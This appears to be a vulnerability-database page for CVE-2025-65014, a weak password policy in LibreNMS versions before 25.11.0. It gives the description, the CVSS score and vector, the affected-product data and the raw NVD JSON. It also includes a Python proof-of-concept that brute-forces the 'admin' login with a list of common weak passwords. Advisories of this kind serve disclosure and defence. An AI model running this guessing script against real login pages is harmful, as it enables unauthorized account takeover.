Security Vulnerability Report
中文
CVE-2025-65014 CVSS 3.7 LOW

CVE-2025-65014

Published: 2025-11-18 23:15:56
Last Modified: 2025-11-20 16:17:59

Description

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Prior to version 25.11.0, a weak password policy vulnerability was identified in the user management functionality of the LibreNMS application. This vulnerability allows administrators to create accounts with extremely weak and predictable passwords, such as 12345678. This exposes the platform to brute-force and credential stuffing attacks. This issue has been patched in version 25.11.0.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:* - VULNERABLE
LibreNMS < 25.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed # CVE-2025-65014 PoC - LibreNMS Weak Password Policy Brute Force # This PoC demonstrates the vulnerability where weak passwords can be exploited TARGET_URL = "http://target-host:8000" LOGIN_ENDPOINT = f"{TARGET_URL}/login" USERNAME = "admin" # Target username to brute force # Common weak passwords that exploit the vulnerability WEAK_PASSWORDS = [ "12345678", "password", "admin", "librenms", "123456", "admin123", "password123", "1234", "qwerty", "letmein" ] def attempt_login(username, password): """Attempt to login with given credentials""" try: session = requests.Session() # Get login page to obtain CSRF token if needed response = session.get(LOGIN_ENDPOINT, timeout=10) # Prepare login payload login_data = { 'username': username, 'password': password } # Attempt login login_response = session.post(LOGIN_ENDPOINT, data=login_data, timeout=10) # Check if login was successful (status code or response content check) if login_response.status_code == 200: if 'logout' in login_response.text.lower() or 'dashboard' in login_response.url: return True, password return False, password except requests.RequestException as e: print(f"[!] Request error: {e}") return False, None def main(): print(f"[*] CVE-2025-65014 PoC - LibreNMS Weak Password Attack") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target Username: {USERNAME}") print(f"[*] Testing {len(WEAK_PASSWORDS)} weak passwords...\n") with ThreadPoolExecutor(max_workers=5) as executor: futures = {executor.submit(attempt_login, USERNAME, pwd): pwd for pwd in WEAK_PASSWORDS} for future in as_completed(futures): success, password = future.result() if success: print(f"[!] SUCCESS! Weak password found: {password}") print(f"[*] Login credentials: {USERNAME}:{password}") sys.exit(0) else: print(f"[-] Failed: {password}") print("\n[*] Attack completed. No weak passwords found.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65014", "sourceIdentifier": "[email protected]", "published": "2025-11-18T23:15:56.313", "lastModified": "2025-11-20T16:17:59.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Prior to version 25.11.0, a weak password policy vulnerability was identified in the user management functionality of the LibreNMS application. This vulnerability allows administrators to create accounts with extremely weak and predictable passwords, such as 12345678. This exposes the platform to brute-force and credential stuffing attacks. This issue has been patched in version 25.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-521"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.11.0", "matchCriteriaId": "BB2997C4-F47F-4823-8E14-6FBC84E84C74"}]}]}], "references": [{"url": "https://github.com/librenms/librenms/security/advisories/GHSA-5mrf-j8v6-f45g", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/librenms/librenms/security/advisories/GHSA-5mrf-j8v6-f45g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}